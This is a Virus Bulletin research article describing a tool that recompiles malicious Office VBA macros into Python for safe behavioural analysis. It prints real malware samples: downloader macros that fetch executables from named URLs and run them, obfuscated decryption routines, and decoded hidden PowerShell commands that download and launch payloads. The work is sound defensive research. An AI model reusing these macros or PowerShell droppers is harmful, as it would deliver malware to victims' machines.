virus BULLETIN Covering the global threat landscape

RUN YOUR MALICIOUS VBA MACROS ANYWHERE!

Kurt Natvig
Independent researcher, https://LibNotFound.com

INTRODUCTION

Obfuscation is an old trick every malware researcher and scanner engine needs to get around in order to find the real content of the sample they are analysing. The type and level of obfuscation varies, but in general, the idea is to make it difficult to understand what a sample is really doing – which can reduce the accuracy in correctly handling it.

Office documents have over many decades been used to launch malware, often through macros, embedded content or exploits. Embedded 'executable' content is usually very visible, and with most exploits, even if you don't know exactly what is being exploited, the presence of strange data in strange locations is usually a good giveaway that something is going on. The same is true for hand-crafted RTFs with lots of obfuscation – they just shine in the dark.

I wanted to understand whether it's possible to recompile VBA macros to another language, which could then easily be 'run' on any gateway and thus reveal the sample's true nature in a safe manner. Documents do have some privacy concerns, and being able to carry out a full analysis of any (malicious) document on e.g. an email server inline with something that is light, accurate, inexpensive and flexible could help improve the accuracy and time taken to make decisions. Regular sandbox solutions that require *Windows*, *Office*, monitoring agents and quite a bit of hardware are neither light nor inexpensive.

THE GOAL OF THIS ARTICLE

My goal is to recompile malicious VBA macro code to valid harmless Python 3.x code. The generated Python 3.x version will just report what is happening, not perform the malicious actions – with the exception maybe of performing downloads to retrieve data (while it's there, and you might want to re-run it later).

Converting VBA to Python started as an idea, and after putting numerous hours into this project (vba2python) I've learned some lessons that I wanted to share with my fellow researchers.

There are three main steps involved in creating such a tool:

1. Extracting the content needed to recompile the code correctly.
   - VBA source code.
   - Elements from the document (*Word*, *Excel*, etc.) that is referenced by the VBA macro code (or access to the various streams directly).
2. Automatically generating good Python 3.x code based on the VBA code and data from the streams.
3. Providing an application-world to the generated code that makes the VBA API and object-model fit into the Python world.

GATHERING THE DATA NEEDED TO UNDERSTAND THE VBA WORLD

Office documents can be stored in many physical forms, and these forms can also be embedded in numerous other physical forms. For instance, an email message file can be an MHTML object, that again contains ActiveMime encoded data, which finally reveals the OLE2 document file inside.

There are many public tools out there that can provide this data for you. Once you get down to the actual document there are also numerous tools that can extract the VBA source code, but I haven't seen many tools that can provide the cell/document access needed for a lot of samples. I have seen Python packages that can do this directly with OOXML, and maybe there are other packages that can do this directly with OLE2 containers too.

GENERATING THE PYTHON 3.X CODE

This is the hardest part. If you are familiar with VBA and Python, you may think there are many similarities. Once you are faced with one line at a time, sequence, dependency, class initialization, VBA-only features, conflicts and such – you run into a lot of problems at once. Don't let this deter you.

Let me start to illustrate this with a simple sample: 000475fc6e6705bbc5ebad8cc3af23c6a44b6ab7.

```
Sub Auto_Open()
    hui
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub hui()
Dim DMtjPKZbDiINOsDjnWMDQUaGD As String
Dim vNFhXFNV_TueQRFNXVYWLqYTecVHXURZUNBDUyA As Integer
URL = "http://www.huismaes.be/fotos/rollover5.jpg"
DMtjPKZbDiINOsDjnWMDQUaGD = Environ("USERPROFILE")
Dim lOMwCMuTOYqPBHJNCl: Set lOMwCMuTOYqPBHJNCl = CreateObject("Microsoft.XMLHTTP")
Dim CSGDWYMVOOBASEd: Set CSGDWYMVOOBASEd = CreateObject("Adodb.Stream")
lOMwCMuTOYqPBHJNCl.Open "GET", URL, False
lOMwCMuTOYqPBHJNCl.Send
With CSGDWYMVOOBASEd
.Type = 1
.Open
.write lOMwCMuTOYqPBHJNCl.responseBody
.SaveToFile DMtjPKZbDiINOsDjnWMDQUaGD & "\FFFd.COM", 2
End With
Shell DMtjPKZbDiINOsDjnWMDQUaGD & "\FFFd.COM"
End Sub
```

This is a very simple sample and it wouldn't take a lot of time to convert it manually to Python 3.x. As you'll find out, manual conversion and automatic conversion are two completely different things, but you need to start somewhere.

There are no arrays, complex equations, predefined variables or classes, divides that cause incompatibility with Python, etc. Here you see some variables being defined, two objects being created and used (download and store), and at the end something is being executed via Shell.

When this is auto-converted to Python 3.x it looks like this:

```
def __init__(self,name,global_config):
        super().__init__(name,global_config)
def Auto_Open(self,):
        self.hui ()
def AutoOpen(self,):
        self.Auto_Open ()
def Workbook_Open(self,):
        self.Auto_Open ()
def hui(self,):
        DMtjPKZbDiINOsDjnWMDQUaGD = ""
        vNFhXFNV_TueQRFNXVYWLqYTecVHXURZUNBDUyA = 0
        URL = "http://www.huismaes.be/fotos/rollover5.jpg"
        DMtjPKZbDiINOsDjnWMDQUaGD = Environ ( "USERPROFILE" )
        lOMwCMuTOYqPBHJNCl = None
        lOMwCMuTOYqPBHJNCl = CreateObject ( "Microsoft.XMLHTTP" )
        CSGDWYMVOOBASEd = None
        CSGDWYMVOOBASEd = CreateObject ( "Adodb.Stream" )
        lOMwCMuTOYqPBHJNCl.Open("GET",URL,False)
        lOMwCMuTOYqPBHJNCl.Send ()
        CSGDWYMVOOBASEd.Type = 1
        CSGDWYMVOOBASEd.Open ()
        CSGDWYMVOOBASEd . write (lOMwCMuTOYqPBHJNCl.responseBody)
        CSGDWYMVOOBASEd.SaveToFile(DMtjPKZbDiINOsDjnWMDQUaGD+"/FFFd.COM",2)

        Shell (DMtjPKZbDiINOsDjnWMDQUaGD+"/FFFd.COM")
```

When this code runs, it produces the following output:

```
Executing Auto_Open
Fetching environment variable: USERPROFILE
CreateObject: (Microsoft.XMLHTTP)
CreateObject: (Adodb.Stream)
Microsoft.XMLHTTP Open GET http://www.huismaes.be/fotos/rollover5.jpg False : HTTP Error 404: Not Found
Microsoft.XMLHTTP XMLHTTP.Send()
Adodb.Stream Open()
Adodb.Stream Write: None
Adodb.Stream SaveToFile:  C:\ProgramData/FFFd.COM 2
Shell : C:\ProgramData/FFFd.COM 0
```

As you can see, it's a simple downloader – but you saw that already with the initial VBA macro code as it wasn't obfuscated much. This was just to get warm. The output of a sample is just the application-world printing out the behaviour it wants to report, while it acts as the *Office* world for the sample.

Sample 2 (e4debf873d683a51626882ba69364b54e5881799) will let us start removing obfuscation. The Workbook_Open macro of this sample starts like this:

```
Sub Workbook_Open()
Dim m222371a95aa9d8 As Long: m222371a95aa9d8 = 3
Dim a2c5e474b3d As String
Dim t13256e8ccd84b114e4e As Long
Select Case m222371a95aa9d8
Case 29 * Int(48 / 56 + 11) - Int(926 / 915) * 27 - (27 + 24) - 10 / Int(17 + 9 / 21) / 9
a2c5e474b3d = "ha2e1c"
Case 16 - (6 + 24) - 16 - (9 + 8) - 14
a2c5e474b3d = "g81a35c3c2ec"
Case 25 + (156 - 156) + Int(11 + 15 - 18) + 9 * Int(89 / 98 + 16) - Int(4493 / 4703) * 11
a2c5e474b3d = "x7cddb"
Case 12 * Int(82 / 95 + 12) - Int(2425 / 4272) * 7 * Int(27 / 65 + 12) - Int(2645 / 5727) * 21
a2c5e474b3d = "f196881"
Case 11 - (11 + 10) - 14 + (288 - 276) + Int(6 + 16 - 28) + 23 + (216 - 132) + Int(14 + 10 - 6) + 26
a2c5e474b3d = "zbde4ade6"
Case 28 - (6 + 17) - 15 + (192 - 180) + Int(7 + 23 - 25) + 27
a2c5e474b3d = "f898eb92f"
Case 5 * Int(96 / 31 + 10) - Int(2926 / 2694) * 24 / Int(20 + 10 / 5) / 23
a2c5e474b3d = "g7ebe9b"
```

As you can clearly see, the Select Case statements look a bit funky (I had to read them a few times before I realized what it was trying to do), but if you take a closer look at the variable the select is from (m222371a95aa9d8), it's initially set to 3 – and this 'Case' is the only one you need. Of course, you don't know if 'that is always the case' so you port all the code to Python – always. This is just done to confuse an algorithm or human.

```
Case 3:
CreateObject(rd165a9f386b4b("6965758478828640657A777E7E")).Exec rd165a9f386b4b(ThisWorkbook.Sheets("ZAOIQ").Range("G135").Value)
```

Case 3 just creates a specific object based on an encrypted string – decrypted via function rd165a9f386b4b. Once this object is created, it wants to execute the Exec method of the object. To find out what it wants to execute, it spawns the same decryption function (rd165a9f386b4b) with data from a specific *Excel* cell:

```
index,name,row,col,value
1,ZAOIQ,6,134,"8281897784857A777E7E40778A77323F897B8076818985868B7E77327A7B76767780323F8081828481787B7E77323F578
A777587867B818062817E7B758B3264777F818677657B798077761F1C78878075867B818032804645787877328D1F1C827384737F3A367A7
3467878743B1F1C3685454548......
```

To find the cell information you need to enumerate the Workbook stream and look for records like:

- Formula: to get the parsed expressions of code running.
- SST/extSST: to find strings and their locations in the sheets.
- LabelSst/Lbl: to find labels used in Formula parsed expressions.
- Dimension handler: to find the sheet dimensions used.
- Rk and MulRk: to find integers and floats and their locations in the sheets.

After all these are parsed you will have a good map which is provided via the *Excel* object-model to the VBA/XF code.

Once it gets the data (above) it calls the decryption function:

```
Private Function rd165a9f386b4b(ByVal ye97b36f82c As String)
Dim v839b322639 As String: Dim bfe1e44c88 As Long
For bfe1e44c88 = 1 To Len(ye97b36f82c) Step 2
v839b322639 = v839b322639 & Chr(Val(Chr(Int(0 - 10 + 9 - 13 + Int(10 / 1) + Int(6 / 2) + Int(12 / 6) + 37)) & Ch
r(Int(0 + 4 + Int(11 / 4) + Int(7 / 9) + Int(7 / 1) - 7 + Int(9 / 7) + 7 + 6 - 13 - 10 + 75)) & Right(Left(ye97b
36f82c, bfe1e44c88 + ((34 + 6 - 20) / 2 - 9)), (43 - 23 - 10 + 5 - 13))) - 18)
Next
rd165a9f386b4b = v839b322639
End Function
```

This is nothing fancy: it reads two characters at a time and converts them to integers so they can be manipulated and then converted back to characters and appended to the destination string. The beautiful consequence of converting the code and running it is that you don't really care what it does or how it does it, you want to know the effect of it.

Once the entire VBA macro is converted to Python 3.x and run, you get the following output:

```
knatvig@knatvig-Lenovo-Z710:~/source/libnotfound/vbapython$ python3 vba2python.py file7.json  | python3
Executing Workbook_Open
CreateObject: (WScript.Shell)
WScript.Shell Exec powershell.exe -windowstyle hidden -noprofile -ExecutionPolicy RemoteSigned
function n43ffe {
param($ha4ffb)
$s336a = 'm6e61d';
$nd53baf = '';
for ($i = 0; $i -lt $ha4ffb.length; $i+=2) {
$n4ab3 = [convert]::ToByte($ha4ffb.Substring($i, 2), 16);
$nd53baf += [char]($n4ab3 -bxor $s336a[($i / 2) % $s336a.length]);
}
return $nd53baf;
}
$g7791 = '18450c5856443e4f16425409563b6f43420d03514565481719530818631103420c5b544a24581153430b1d650044470d0e5316
0d3c6e1d43075a58074d55095742174d51030f53500e3b6
```

The object it wanted to create was Wscript.Shell, and the .Exec method was spawning a PowerShell script – which also has its own encryption. Sample 3 (ddcbcf91d98ac04ffbc90ff597bab6263c69eded) again raises some issues when you want to convert the code automagically to Python. This time it looks like there is a lot of data waiting to be decrypted – but it's not there. Once again, this is to confuse humans and algorithms trying to decode or x-ray 'data'.

```
Sub Workbook_Open()
Dim DW_EU As String
DW_EU = "9DD8C1A1B5E0A19AA1BDA1A1CEA1DFDDB8A1A1A1DFC9A1A186A1A1A172A1B8DA9AA1DD6C7DA1A1A17FC4A1A1A7DEA1A1A1A1
Dim QFX_OA As String
QFX_OA = "68A1A1C6AF6DA174BBC585A1A196AEA1A17DD8C084A1A171A162B3A194A1A17FA1A1D5CEA1A187A1D181A1CEC7A3A1BBA1B
Dim PW_QGK As String
PW_QGK = "AFA1A1C0C4D0A1A1A1A1DAE1B0A1A1A17ADCA1A1A9A1A1A1A16DA1A1A1A195A1A1AAA192CD946BA178A190D9A1A1A1A1A1C
Dim UP_FWL As String
UP_FWL = "926EABDFA1A1A17F748CD4A195A1B6A1A1A16985A19E9E9DA19FA1A1BEA1A1A1A1B571A191A1C18F73A1A1E1A1A1ACA173A
Dim X_CT As String
X_CT = "85ADA1D7A1B8A1A174A1B3A1B46DD7A1A1A1A1A1A1A1A1A17BD4A1CC8FA1A1A1A18CC9C6A178E0A195B0A1A1BBA1DBA1A0A1A
Dim RNN_WV As String
RNN_WV = "BCAEB9A1A1C6A198A1A173D4A18EA19580A1A17F80A1A1A18CC699A1A1A1A1C496A1A192A1A1A1A188A1D6D37A6FB588A18
```

You'll see a lot of variables being set to 'random' data, which you might assume will be decrypted at some point. Instead, a function, KC_U, is invoked further into the Workbook_Open macro, which looks like this:

```
LU_PD = "E199D597A1D1A1B1A1A1A198A1A1A164A1AFA19AE0B800A18B
Dim E_O As String
E_O = "A17FA1DBA1A1A17775A3A5CBB2D8A1A18566D2A1A1A18BA188A1
A1A1A16FA1CCA1A18CA18DD7A1A7A16CCBB180A1A1A1BBA1A187A177958

    Document_Open
End Sub
Public Sub KC_U()
   Dim X_EPY As String
   Dim T_FP As String
   Dim MB_BE As Long
    Dim XX_B As String
    XX_B = ThisWorkbook.Sheets(1).Cells(1, 1).Comment.Text

    GoTo x2
x1:
    Shell X_EPY, vbHide
    GoTo x3
x3:
    Exit Sub
x2:
   For MB_BE = 1 To Len(XX_B) Step 2
        T_FP = Chr("&H" & Mid(XX_B, MB_BE, 2))
        X_EPY = X_EPY & Chr(Asc(T_FP) - 98)
   Next
   GoTo x1
End Sub
Public Sub Document_Open()
Dim WB_Z As String
WB_Z = "ACA1CCA1B5A1A16770B5A1A1A1A1A1B0948BA1A1A16991A185A
Dim DP_C As String
```

There are two main challenges here:

1. GoTo doesn't exist in Python, but the Python universe seems unlimited and someone has written a nice goto package [1], which I decided to test. However, there's one problem as this package patches the byte code of the function: it doesn't seem to 'see' beyond the VBA 'Exit Sub', which normally would be translated as 'return'.

   As I automatically rewrite the code to Python 3.x, I modify the code so the exit would always be at the end, thus solving that problem.

2. The raw data that is needed as input to the decryption comes from the Workbook sheet, as a comment to a cell. The raw data looks like this (TxO):

```
Record_TxO(438)
     0 : 12 02 00 00 00 00 00 00 00 00 DA 04 10 00 00 00 | ................
    10 : 00 00 00 44 32 44 31 44 39 43 37 44 34 44 35 43 | ...D2D1D9C7D4D5C
    20 : 41 43 37 43 45 43 45 39 30 43 37 44 41 43 37 38 | AC7CECE90C7DAC78
    30 : 32 38 46 42 39 43 42 44 30 43 36 44 31 44 39 42 | 28FB9CBD0C6D1D9B
    40 : 35 44 36 44 42 43 45 43 37 38 32 41 41 43 42 43 | 5D6DBCEC782AACBC
    50 : 36 43 36 43 37 44 30 38 32 38 46 44 30 44 31 44 | 6C6C7D0828FD0D1D
    60 : 32 44 34 44 31 43 38 43 42 43 45 43 37 38 32 38 | 2D4D1C8CBCEC7828
    70 : 36 43 38 43 42 43 45 43 37 38 32 39 46 38 32 38 | 6C8CBCEC7829F828
    80 : 36 43 37 44 30 44 38 39 43 41 33 42 32 42 32 41 | 6C7D0D89CA3B2B2A
    90 : 36 41 33 42 36 41 33 38 32 38 44 38 32 38 39 42 | 6A3B6A3828D8289B
```

   A TxO record in the Workbook stream seems to follow an MsoDrawing object, and the Obj record describing this uses type 0x19 (Note) to Obj 1.

```
Record_Dimensions
     0 : 00 00 00 00 01 00 00 00 00 00 01 00 00 00       | ..............
Record_Row
     0 : 00 00 00 00 01 00 2C 01 00 00 00 00 00 01 0F 00 | ......,.........
Record_Blank
     0 : 00 00 00 00 0F 00                               | ......
Record_DBCell
     0 : 1E 00 00 00 00 00                               | ......
Record_Obj
     0 : 15 00 12 00 19 00 01 00 11 40 00 00 00 00 00 00 | .........@......
    10 : 00 00 00 00 00 00 0D 00 16 00 08 77 E9 73 FF 89 | ...........W.s..
    20 : A9 45 81 EA 35 A6 CC 25 6D 73 00 00 10 00 00 00 | .E..5..%ms......
    30 : 00 00 00 00                                     | ....
```

In the Python 3 world, the function KC_U will look like this (with the @goto support):

```
@with_goto
def KC_U(self,):
        X_EPY = ""
        T_FP = ""
        MB_BE = 0
        XX_B = ""
        XX_B = self.Sheets ( 1 ).Cells ( 1 , 1 ).Comment.Text
        goto .x2
        label .x1
        Shell(X_EPY,vbHide)
        goto .x3
        label .x3
        goto .exitatlast
        label .x2
        for MB_BE in range(1,Len(XX_B),2):
                T_FP = Chr ( "0x" + Mid ( XX_B , MB_BE , 2 ) )
                X_EPY = X_EPY + Chr ( Asc ( T_FP ) - 98 )

        goto .x1
        label .exitatlast
```

When, at the end, we run the generated Python 3 code, we get the behaviour of the VBA macro spelled out:

```
Executing Workbook_Open
Shell : powershell.exe -WindowStyle Hidden -noprofile $file = $env:APPDATA + '\87N.exe';$nwPath = $env:APPDATA + '\Z1
E.doc';If (test-path  $file) {Remove-Item  $file} If (test-path  $nwPath) {Remove-Item  $nwPath} $coma = New-Object S
ystem.Net.WebClient; $coma.Headers['User-Agent'] = 'who-nop'; $coma.DownloadFile('http://ksuollfield.com/cgi-bin/ksuo
llfieldurchs/file-20-2018/UC-BKuyt!@01.exe', $file); $coma.DownloadFile('http://www.iiswc.org/iiswc2009/sample.doc',
$nwPath); (New-Object -com Shell.Application).ShellExecute($file); Stop-Process -processname WINWORD;Start-Process -F
ilePath $nwPath;Stop-Process -Id $Pid -Force VBHide
```

Sample 4 (f5858eb5772eba0b6c066aebdd1efbdefed71a6a) is probably the most complex sample to convert automatically that I've seen so far. I show a lot of the converted code at [2]. I also wrote a blog post about sample 5 (6cd67f6ce51c3a57f5d9a65415780ee8ef9ee44c) [3], which leads me on to the application world that is needed to support the converted Python code. As you see, there are lots of references to the *Office* VBA world, and we need to replicate that so that the code works.

THE VBA APPLICATION WORLD

As you've seen in my generated Python code, I need to create something that resembles the VBA object-model so the VBA API fits well with the Python world. This means generating an application object for *Excel* or *Word* that can provide the support needed to access cell information, document paragraph data, etc. Each sheet within the *Excel* document also needs to be created, which again supports what is needed for those objects. UserForms objects and variables in VBA macros that are initialized to values need to be initialized at the right time before use so the VBA macro can use the data as 'normal'.

In addition to all of this, regular simple built-in functions need to be exported, such as:

> Len, StrConv, Left, Right, InStsrRev, Replace, DoEvents, LBound, UBound, Now, TimeSerial, Environ, Close, ChDir, MkDir, Shell, CreateObject, Asc, Int, Chr, Mid, Out, CallByName etc.

You'll also need to support used constants, but these are easy to find and export to the generated code.

None of them are hard to write. CreateObject needs to make a new class based on the name the potential malware wants (e.g. Wscript.Shell, Scripting.FileSystemObject, Microsoft.XMLHTTP, Adodb.Stream, etc.). These objects need to deliver methods the sample can use, like:

```python
class MyClass_XMLHTTP:

    def __init__(self, name):
        self._name = name
        return

    def Open(self,method,URL,x):
        print(self._name, "Open", method, URL, x, end="")
        self.HTTPCode=None
        self.responseBody=None
        try:
            self.connection = urllib.request.urlopen(URL)
            self.HTTPCode=200
            print(" :OK")
        except Exception as err:
            self.HTTPCode=404
            self.connection = None
            print(" :", err)

    def Send(self):
        print(self._name, "XMLHTTP.Send()")
        if self.HTTPCode == 200:
            self.responseBody = self.connection.read()
```

Before the real classes are defined for the VBA macro streams, Python needs to know about them for the first pass (it doesn't have to understand what they are, just know that they are there) and UserForm classes (if applicable) need to be created and initialized. This is an example of a complete rewritten simple VBA macro in Python 3.x form:

```
from applicationworld import *
Application = myApplication("word.application",None)

ThisDocument = None

class _ThisDocument(myApplication):
    def __init__(self,name,global_config):
        super().__init__(name,global_config)
    def Auto_Open(self,):
        self.v45 ()
    def AutoOpen(self,):
        self.Auto_Open ()
    def Workbook_Open(self,):
        self.Auto_Open ()
    def v45(self,):
        hU89tGOFe3 = ""
        z7GfitrgoFI = 0
        Ljgf43tFU = 0
        yD85t9TF = None
        yD85t9TF = CreateObject ( "WS" + "cript.Shell" )
        u6RF = "http://updateimage.ru/css/dimg.png"
        hbo34 = None
        hbo34 = CreateObject ( "Adodb.Stre" + "am" )
        IVI_ = None
        IVI_ = CreateObject ( "Mic" + "rosoft.XM" + "LHTTP" )
        Ve4vfC = Environ ( "TEMP" )
        IVI_.Open("GET",u6RF,False)
        IVI_.Send ()
        arr = 0
        i = 0
        j = 0
        f = 0
        Randomize ()
        hbo34.Type = 1
        hbo34.Open ()
        hbo34 . write (IVI_.responseBody)
        hbo34.SaveToFile(Ve4vfC+"/8fvk.exe",2)

        hV_ = Ve4vfC + "/8fvk.exe"
        yD85t9TF.Run(hV_)
        Randomize ()
ThisDocument = ActiveDocument = _ThisDocument('Word','file5.json')
print("Executing Auto_Open")
ThisDocument.Auto_Open()
print("Executing AutoOpen")
ThisDocument.AutoOpen()
print("Executing Workbook_Open")
ThisDocument.Workbook_Open()
```

CONCLUSIONS

After quite a few hours spent on this 'fun' project I've learned a lot of lessons. Languages are complicated and moving the same logic from one language to another can't be done in a hurry.

Let me run through a few of the challenges:

- Arrays in VBA aren't indexed with '[' – you'll need to figure out what variable is being referenced and its size to determine if a '[' is needed for the Python world.
- Calculations that VBA handles fine as double/floats even though they are stored in Long will cause problems in Python when you want to slice something based on a double/float. You'll need to find the right time and place to convert it to an int(). Not too soon, as it might affect the calculation/result (which could cause out-of-buffer access), and not too late.
- Calling subroutines and certain APIs in VBA doesn't require '()' around parameters – you'll need to figure out what is what.
- Referencing local variables when they are in a Python class means some '.self' references need to be inserted so you always reference the right object. You also need to make sure to declare global variables, so you make sure e.g. UserForm access is via the same expected object.
- I wrote two tokenizers for each line in order to handle 'complicated' expressions, e.g. is this a function call, and if so, where do we insert the '()' for the parameters?

```
CreateObject(rd165a9f386b4b("696575847B828648657A777E7E")).Exec rd165a9f386b4b(ThisWorkbook.Sheets("ZAOIQ").Range("G135").Value)
```

- Split each element of a line into separate tokens, for example:

```
['CreateObject', '(', 'self.rd165a9f386b4b', '(', '"696575847B828640657A777E7E"', ')', ')', '.',
'Exec', 'self.rd165a9f386b4b', '(', 'ThisWorkbook', '.', 'Sheets', '(', '"ZAOIQ"', ')', '.',
'Range', '(', '"G135"', ')', '.', 'Value', ')']
```

- Group all tokens into logical elements/units, for example:

```
['CreateObject( self.rd165a9f386b4b( "696575847B828640657A777E7E")) . Exec', 'self.
rd165a9f386b4b(ThisWorkbook.Sheets("ZAOIQ").Range("G135").Value)']
```

- I wrote a common analyser for each line to determine what the 'overall' purpose is, then to send it to a concrete handler that could replace that purpose with one or more lines for the desired language. For instance, 'For' needs to be tailored to the specific use-case, as well as 'Select' and 'Use'.
- Some lines need to be completely rewritten and for that reason I wrote a rule engine to recognize the challenges and convert the code to the desired output (e.g. VBA lets you find a file number and open a file via it – not very Python-like). Good thing this isn't asm, where you can easily inspect the bytecode as you run it to find out if everything is ok.
- VBA allows strings to be appended by '&', whereas the Python string class doesn't.
- VBA allows 'If something = 1 Then' which Python doesn't appreciate. But again, 'a == 1+2' doesn't set a to a value, it returns a Boolean state, so a blind replace doesn't work well.
- VBA uses '&H' for hex characters in a string, not '0x'.
- VBA has a keyword for Xor, not ^.
- Exception handling (like On Error Resume Next) needs to be handled with try/except – but on logical units – like the entire 'if/else and body' so it resumes on the next logical line.
- VBA does not require indentation, so the output needs to match Python's expectations. The good thing is that VBA does use End If, EndW, Next and such for control, so it's relatively easy to understand when a change of indentation is needed. And of course, add a ':' when you do.
- VBA declares all variables with Dim and often type. This is useful if you get the type which helps you understand if data needs to be converted to fit the variable. Python needs some other types, especially with arrays of bytes.

I've also seen samples that have a very short VBA macro which then continues with XF:

```
Private Sub Auto_Open()
Application.Run Sheets("Brisk").Range("CD5")
End Sub
```

Application.Run is a call to the application-world to run XF code from the sheet 'Brisk' from the 'CD5' location. This means the 'Run' function will need to translate the XF code to Pyhthon as well – and this will be the next project.

These lessons learned count for many of the issues faced, and the rest is pain as you go – but the fact that the initial results (and speed, a few milliseconds) are all that is needed to run malicious VBA macros on any platform gives me confidence that this could be useful for many situations and is worth the hours spent.

REFERENCES

[1] https://pypi.org/project/goto-statement/.

[2] https://libnotfound.com/2021/03/24/automatically-generate-python-3-x-from-malicious-vba-macros/.

[3] https://libnotfound.com/2021/03/10/running-vba-as-python-part-2/.